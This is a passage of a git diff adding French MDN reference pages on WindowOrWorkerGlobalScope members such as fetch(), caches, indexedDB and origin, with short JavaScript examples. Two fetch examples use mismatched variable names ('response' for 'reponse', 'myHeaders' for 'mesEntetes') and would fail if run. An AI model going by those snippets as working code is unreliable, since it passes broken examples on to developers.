+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre comment mettre en cache un contexte de <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> pour stocker des ressources et les utiliser hors-ligne.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>
+    <p>Défini dans un <code>WindowOrWorkerGlobalScope</code> partiel dans la nouvelle spec.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.caches")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li>{{domxref("CacheStorage")}}</li>
+ <li>{{domxref("Cache")}}</li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/crossoriginisolated/index.html b/files/fr/web/api/windoworworkerglobalscope/crossoriginisolated/index.html
new file mode 100644
index 0000000000..cb7f6948a0
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/crossoriginisolated/index.html
@@ -0,0 +1,58 @@
+---
+title: WindowOrWorkerGlobalScope.crossOriginIsolated
+slug: Web/API/WindowOrWorkerGlobalScope/crossOriginIsolated
+translation_of: Web/API/WindowOrWorkerGlobalScope/crossOriginIsolated
+---
+<div>{{APIRef()}}{{SeeCompatTable}}</div>
+
+<p>La propriéte en lecture seule <code><strong>crossOriginIsolated</strong></code> de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne une valeur booléenne qui indique si un {{jsxref("SharedArrayBuffer")}} peut être envoyé via un appel à {{domxref("Window.postMessage()")}}.</p>
+
+<p>Cette valeur est dépendante de toute entête {{httpheader("Cross-Origin-Opener-Policy")}} et {{httpheader("Cross-Origin-Embedder-Policy")}} présente dans la réponse.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>myCrossOriginIsolated</em> = self.crossOriginIsolated; // or just crossOriginIsolated
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une valeur booléenne</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">if(crossOriginIsolated) {
+  // Post SharedArrayBuffer
+} else {
+  // Do something else
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG")}}</td>
+   <td></td>
+   <td>Pas encore ajouté à la spécification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.crossOriginIsolated")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/fetch/index.html b/files/fr/web/api/windoworworkerglobalscope/fetch/index.html
new file mode 100644
index 0000000000..ac6ff19360
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/fetch/index.html
@@ -0,0 +1,193 @@
+---
+title: GlobalFetch.fetch()
+slug: Web/API/WindowOrWorkerGlobalScope/fetch
+tags:
+  - API
+  - API Fetch
+  - Experimental
+  - Fetch
+  - GlobalFetch
+  - Méthode
+  - Reference
+  - WindowOrWorkerGlobalScope
+  - requête
+translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
+---
+<p>{{APIRef("Fetch")}}</p>
+
+<p><span class="seoSummary">La méthode <code><strong>fetch()</strong></code> du mixin {{domxref("WindowOrWorkerGlobalScope")}} démarre le chargement d'une ressource sur le réseau et retourne une promesse qui est résolue dès que la réponse est disponible. La promesse résoud l'objet {{domxref("Response")}} représentant la réponse de votre requête. Cette promesse n'échoue pas en cas d'erreur HTTP, elle n'échoue que sur les problèmes de réseau. Vous devez utiliser un gestionnaire <code>then</code> pour identifier les erreurs HTTP.</span></p>
+
+<p><code>WindowOrWorkerGlobalScope</code> est aussi bien implémenté par {{domxref("Window")}} que par {{domxref("WorkerGlobalScope")}}, ce qui signifie que la méthode <code>fetch()</code> est disponible dans la plupart des cas où vous pourriez en avoir besoin.</p>
+
+<p>Une promesse {{domxref("GlobalFetch.fetch","fetch()")}} n'est rejetée que quand un problème de réseau est rencontré, même si en réalité cela signifie généralement qu'il y a un problème de permissions ou quelque chose de similaire. La promesse ne sera pas rejetée en cas d'erreur HTTP (<code>404</code>, etc.) Pour cela, un gestionnaire <code>then()</code> doit vérifier que la propriété {{domxref("Response.ok")}} ait bien pour valeur <code>true</code> et/ou la valeur de la propriété {{domxref("Response.status")}}.</p>
+
+<p>La méthode <code>fetch()</code> est contrôlée par la directive <code>connect-src</code> de l'entête <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy">Content Security Policy</a> plutôt que par la directive de la ressource qui est récupérée.</p>
+
+<div class="note">
+<p>Les paramètres de la méthode <code>fetch()</code> sont identiques à ceux du contructeur d'une {{domxref("Request.Request","Request()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const <em>fetchResponsePromise</em> = Promise&lt;Response&gt; fetch(<em>entrée</em>[, <em>init</em>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><em>entrée</em></code></dt>
+ <dd>Définit la ressource que vous voulez obtenir. Cela peut être :
+ <ul>
+  <li>Un {{domxref("USVString")}} qui contient l'URL de la ressource à obtenir. Certains navigateurs acceptent <code>blob:</code> et <code>data:</code>.</li>
+  <li>Un objet {{domxref("Request")}}.</li>
+ </ul>
+ </dd>
+ <dt><code><em>init</em></code> {{optional_inline}}</dt>
+ <dd>
+  <p>Un objet qui contient les paramètres de votre requête. Les options possibles sont :</p>
+
+  <dl>
+    <dt><code>method</code></dt>
+    <dd>La méthode de la requête, par exemple <code>GET</code> ou <code>POST</code>.</dd>
+
+    <dt><code>headers</code></dt>
+    <dd>Les entêtes à ajouter à votre requête, contenues dans un objet {{domxref("Headers")}} ou dans un objet avec des {{domxref("ByteString")}} pour valeurs.</dd>
+
+    <dt><code>body</code></dt>
+    <dd>Le corps de votre requête. Cela peut être un {{domxref("Blob")}}, un {{domxref("BufferSource")}}, un {{domxref("FormData")}}, un {{domxref("URLSearchParams")}}, ou un {{domxref("USVString")}}. Notez cependant qu'une requête avec <code>GET</code> ou <code>HEAD</code> pour méthode ne peut pas avoir de corps.</dd>
+
+    <dt><code>mode</code></dt>
+    <dd>Le mode à utiliser pour cette requête, par exemple <code>cors</code>, <code>no-cors</code>, ou <code>same-origin.</code></dd>
+
+    <dt><code>credentials</code></dt>
+    <dd>Les identifiants à utiliser pour cette requête : <code>omit</code>, <code>same-origin</code>, ou <code>include</code>. Pour envoyer automatiquement les cookies pour le domaine actuel, cette option doit être définie. À partir de Chrome 50, cette propriété peut aussi prendre un objet {{domxref("FederatedCredential")}} ou une instance de {{domxref("PasswordCredential")}}.</dd>
+
+    <dt><code>cache</code></dt>
+    <dd>Le comportement du cache pour cette requête : <code>default</code>, <code>no-store</code>, <code>reload</code>, <code>no-cache</code>, <code>force-cache</code>, ou <code>only-if-cached</code>.</dd>
+
+    <dt><code>redirect</code></dt>
+    <dd>Le mode de redirection à adopter pour cette requête : <code>follow</code> (suivre les redirections automatiquement), <code>error</code> (abandonner avec une erreur si une redirection a lieu), ou <code>manual</code> (gérer les redirections manuellement). Dans Chrome, la valeur par défaut était <code>follow</code> avant Chrome 47, mais à partir de cette version, c'est <code>manual</code>.</dd>
+
+    <dt><code>referrer</code></dt>
+    <dd>Un USVString qui vaut <code>no-referrer</code>, <code>client</code>, ou qui contient une URL. La valeur par défaut est <code>client</code>.</dd>
+
+    <dt><code>referrerPolicy</code></dt>
+    <dd>Spécifie la valeur de l'entête HTTP referer. Cela peut être <code>no-referrer</code>, <code>no-referrer-when-downgrade</code>, <code>origin</code>, <code>origin-when-cross-origin</code> ou <code>unsafe-url</code>.</dd>
+
+    <dt><code>integrity</code></dt>
+    <dd>Contient la valeur de <a href="https://developer.mozilla.org/fr/docs/Web/Security/Subresource_Integrity">l'intégrité de la sous-ressource</a> de la requête (par exemple, <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</dd>
+
+    <dt><code>keepalive</code></dt>
+    <dd>Peut être utilisée pour autoriser la requête à se poursuivre après la fermeture de la page. Une requête avec ce paramètre est équivalente à l'API {{domxref("Navigator.sendBeacon()")}}.</dd>
+
+    <dt><code>signal</code></dt>
+    <dd>Une instance de {{domxref("AbortSignal")}} vous permettant de communiquer avec une requête et de l'interrompre si vous le souhaitez via un {{domxref("AbortController")}}.</dd>
+  </dl>
+</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une {{domxref("Promise")}} qui se résoud avec un object {{domxref("Response")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>AbortError</code></dt>
+ <dd>La requête a été interrompue à cause d'un appel à la méthode {{domxref("AbortController.abort", "abort()")}} de {{domxref("AbortController")}}.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>L'URL spécifié inclut des identifiants. Ces informations devraient plutôt être fournises via l'en-tête HTTP {{HTTPHeader("Authorization")}}.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans notre <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">exemple de requête avec fetch</a> (voir <a href="http://mdn.github.io/fetch-examples/fetch-request/">cet exemple en direct</a>) nous créons une nouvelle {{domxref("Request")}} avec le constructeur correspondant, puis on l'envoie en appellant <code>fetch()</code>. Comme nous récupérons une image, nous utilisons la méthode {{domxref("Body.blob()")}} sur la réponse pour lui donner le bon type MIME pour qu'elle soit gérée correctement, puis l'on crée l'URL correspondant à cet objet et on l'affiche dans un élément {{htmlelement("img")}}.</p>
+
+<pre class="brush: js notranslate">const monImage = document.querySelector('img');
+
+let maRequete = new Request('fleurs.jpg');
+
+fetch(maRequete)
+.then(function(reponse) {
+  if (!response.ok) {
+    throw new Error(`erreur HTTP! statut: ${reponse.status}`);
+  }
+  return reponse.blob();
+})
+.then(function(reponse) {
+  let URLobjet = URL.createObjectURL(reponse);
+  monImage.src = URLobjet;
+});</pre>
+
+<p>Dans notre <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-with-init-then-request">exemple fetch avec initialisation et requête</a> (voir <a href="http://mdn.github.io/fetch-examples/fetch-with-init-then-request/">cet exemple en direct</a>) nous faisons la même chose à la différence que nous passons aussi un objet d'initalisation à la méthode <code>fetch</code> :</p>
+
+<pre class="brush: js notranslate">const monImage = document.querySelector('img');
+
+let mesEntetes = new Headers();
+mesEntetes.append('Content-Type', 'image/jpeg');
+
+const monInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+let maRequete = new Request('fleurs.jpg');
+
+fetch(maRequete, monInit).then(function(reponse) {
+  ...
+});</pre>
+
+<p>Notez que vous pouvez aussi passer l'objet d'initialisation au constructeur de la requête pour obtenir le même effet, par exemple :</p>
+
+<pre class="brush: js notranslate">let maRequete = new Request('fleurs.jpg', monInit);</pre>
+
+<p>Vous pouvez aussi utiliser un objet litéral comme en-têtes dans votre objet d'initalisation.</p>
+
+<pre class="brush: js notranslate">const monInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+let maRequete = new Request('fleurs.jpg', monInit);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définie dans un <code>WindowOrWorkerGlobalScope</code> dans la nouvelle spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-global-fetch','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Ajoute la possiblité d'utiliser une instance de {{domxref("FederatedCredential")}} ou de {{domxref("PasswordCredential")}} comme valeur de <code>init.credentials</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API">ServiceWorker API</a></li>
+ <li><a href="/fr/docs/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/fr/docs/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/index.html b/files/fr/web/api/windoworworkerglobalscope/index.html
new file mode 100644
index 0000000000..ba34af3193
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/index.html
@@ -0,0 +1,186 @@
+---
+title: WindowOrWorkerGlobalScope
+slug: Web/API/WindowOrWorkerGlobalScope
+tags:
+  - API
+  - DOM
+  - DOM API
+  - Service Worker
+  - TopicStub
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - WorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{ApiRef()}}</div>
+
+<p>Le mixin <strong><code>WindowOrWorkerGlobalScope</code></strong> décrit plusieurs fonctionnalités communes aux interfaces {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}. Chacune de ces interfaces peut, bien entendu, ajouter d'autres fonctionnalités en plus de celles listées ci-dessous.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>WindowOrWorkerGlobalScope</code> est un mixin et non une interface; vous ne pouvez pas réellement créer un objet de type <code>WindowOrWorkerGlobalScope</code>.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Ces propriétés sont définies sur le mixin {{domxref("WindowOrWorkerGlobalScope")}}, et implémentées par {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie l'objet {{domxref("CacheStorage")}} associé au contexte actuel. Cet objet active des fonctionnalités telles que le stockage des actifs pour une utilisation hors ligne et la génération de réponses personnalisées aux demandes.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Fournit un mécanisme permettant aux applications d'accéder de manière asynchrone aux capacités des bases de données indexées; renvoie un objet {{domxref ("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie un booléen indiquant si le contexte actuel est sécurisé (<code>true</code>) ou non (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie l'origine de la portée globale, sérialisée sous forme de chaîne.</dd>
+</dl>
+</div>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Ces propriétés sont définies sur le mixin {{domxref("WindowOrWorkerGlobalScope")}}, et implémentées par {{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}.</p>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Décode une chaîne de données qui a été encodée à l'aide d'un encodage base 64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Crée une chaîne ASCII encodée en base 64 à partir d'une chaîne de données binaires.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Annule le jeu d'exécutions répétées ) l'aide de {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Annule l'exécution différé définie à l'aide de {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepte une variété de sources d'images différentes et renvoie un {{domxref ("Promise")}} qui se résout en {{domxref ("ImageBitmap")}}. Facultativement, la source est rognée sur le rectangle de pixels originaire de (sx, sy) avec une largeur sw et une hauteur sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Démarre le processus de récupération d'une ressource sur le réseau.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Planifie une fonction à exécuter chaque fois qu'un nombre donné de millisecondes s'écoule.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Planifie une fonction à exécuter dans un laps de temps donné.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', '<code>WindowOrWorkerGlobalScope</code> mixin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>C'est là que le mixin principal est défini.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition de la méthode <code>fetch()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition de la propriété <code>caches</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Définition de la propriété <code>indexedDB</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', 'webappapis.html#dom-origin', 'isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Définition de la propriété <code>isSecureContext</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>54</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origine</code></td>
+   <td>{{CompatGeckoDesktop(54)}}</td>
+   <td>59</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>54</td>
+  </tr>
+  <tr>
+   <td><code>origine</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>59</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/indexeddb/index.html b/files/fr/web/api/windoworworkerglobalscope/indexeddb/index.html
new file mode 100644
index 0000000000..b18f70c21f
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/indexeddb/index.html
@@ -0,0 +1,76 @@
+---
+title: IDBEnvironment.indexedDB
+slug: Web/API/WindowOrWorkerGlobalScope/indexedDB
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+  - WindowOrWorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope/indexedDB
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <strong><code>indexedDB</code></strong> en lecture seule, rattachée au <em>mixin</em> {{domxref("WindowOrWorkerGlobalScope")}} fournit un mécanisme qui permet aux applications d'accéder aux bases de données indexées de façon asynchrone.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>IDBFactory</em> = self.indexedDB;</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBFactory")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js;highlight:[3]">var db;
+function openDB() {
+ var DBOpenRequest = window.indexedDB.open('toDoList');
+ DBOpenRequest.onsuccess = function(e) {
+   db = DBOpenRequest.result;
+ }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Rattachement partiel à <code>WindowOrWorkerGlobalScope</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBEnvironment-indexedDB', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.indexedDB")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/issecurecontext/index.html b/files/fr/web/api/windoworworkerglobalscope/issecurecontext/index.html
new file mode 100644
index 0000000000..e7f3c8c1fc
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/issecurecontext/index.html
@@ -0,0 +1,46 @@
+---
+title: WindowOrWorkerGlobalScope.isSecureContext
+slug: Web/API/WindowOrWorkerGlobalScope/isSecureContext
+translation_of: Web/API/WindowOrWorkerGlobalScope/isSecureContext
+---
+<p>{{APIRef()}}{{SeeCompatTable}}</p>
+
+<p>La propriété <code><strong>isSecureContext</strong></code> de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne un booleen indiquant si le contexte actuel est sécurisé (<code>true</code>) ou pas (<code>false</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>isItSecure</em> = self.isSecureContext; // ou simplement isSecureContext
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("Boolean")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', '#dom-windoworworkerglobalscope-issecurecontext', 'WindowOrWorkerGlobalScope.isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.isSecureContext")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Secure_Contexts">Secure contexts</a></li>
+</ul>
diff --git a/files/fr/web/api/windoworworkerglobalscope/origin/index.html b/files/fr/web/api/windoworworkerglobalscope/origin/index.html
new file mode 100644
index 0000000000..e0775b82bd
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/origin/index.html
@@ -0,0 +1,50 @@
+---
+title: WindowOrWorkerGlobalScope.origin
+slug: Web/API/WindowOrWorkerGlobalScope/origin
+translation_of: Web/API/WindowOrWorkerGlobalScope/origin
+---
+<p>{{APIRef()}}{{SeeCompatTable}}</p>
+
+<p>La propriété <code><strong>origin</strong></code> de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne l'origine du scope global, serialisé en chaîne de caractères.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>myOrigin</em> = self.origin; // ou simplement origin
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("USVString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Exécuté depuis un worker, le code suivant permet d'afficher en console le scope global de ce worker à chaque message reçu.</p>
+
+<pre class="brush: js">onmessage = function() {
+  console.log(self.origin);
+};</pre>
+
+<p>Si l'origine n'est pas sous la forme scheme/host/port (par exemple, si vous exécutez le code en local, via <code>file://</code>), <code>origin</code> retournera la chaîne de caractère <code>"null"</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-origin', 'WindowOrWorkerGlobalScope.origin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.origin")}}</p>
diff --git a/files/fr/web/api/windoworworkerglobalscope/queuemicrotask/index.html b/files/fr/web/api/windoworworkerglobalscope/queuemicrotask/index.html
new file mode 100644
index 0000000000..163513e5e7
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/queuemicrotask/index.html
@@ -0,0 +1,121 @@
+---
